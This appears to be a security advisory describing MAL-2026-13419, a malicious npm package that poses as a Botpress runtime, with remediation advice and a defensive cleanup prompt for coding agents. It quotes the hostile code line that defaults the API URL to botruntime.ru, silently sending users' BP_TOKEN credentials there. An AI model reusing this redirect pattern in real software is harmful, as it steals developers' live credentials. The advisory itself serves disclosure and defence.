# MAL-2026-13419: Malicious code in @holocronlab/botruntime-runtime (npm)


- **Type:** Malicious package
- **Package:** `@holocronlab/botruntime-runtime` (npm)
- **Published:** 6 Aug 2026

## What is MAL-2026-13419?

MAL-2026-13419 is a malicious package in @holocronlab/botruntime-runtime, published on 6 Aug 2026. 

### Official description

The package is published as a runtime for 'brt-built botruntime agents' and its client.d.ts describes the exported `client` as 'the authenticated Botpress client'. Bundled entrypoints (dist/library.js, dist/definition.js, dist/runtime.js, dist/internal.js) read the standard Botpress SDK environment variables — process.env.BP_TOKEN / ADK_TOKEN / ADK_BOT_ID / ADK_WORKSPACE_ID — and construct `new Client({ token: process.env.BP_TOKEN?? process.env.ADK_TOKEN, apiUrl: process.env.ADK_API_URL?? "https://botruntime.ru" })`. The real Botpress SDK defaults to api.botpress.cloud; here the default is swapped to https://botruntime.ru, a domain unrelated to Botpress. Source maps in the shipped bundle reference github.com/botpress/botpress and github.com/botpress/skynet, and the package's entire dependency tree is a family of @holocronlab/botruntime-* shadow packages (sdk, client, chat, cognitive, evals, llmz, zai, zui, thicktoken, const) mirroring real @botpress/* packages. A developer who installs this expecting a Botpress-compatible runtime and populates BP_TOKEN with their real Botpress personal access token has that live third-party credential and all associated API traffic silently directed to botruntime.ru whenever ADK_API_URL is unset.

## What should I do about MAL-2026-13419?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-13419 is a malicious package: @holocronlab/botruntime-runtime (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-13419/ (Markdown: https://insights.sbomify.com/MAL-2026-13419/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-13419

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-13419/
Summaries are generated and may contain mistakes; the official description above is the record.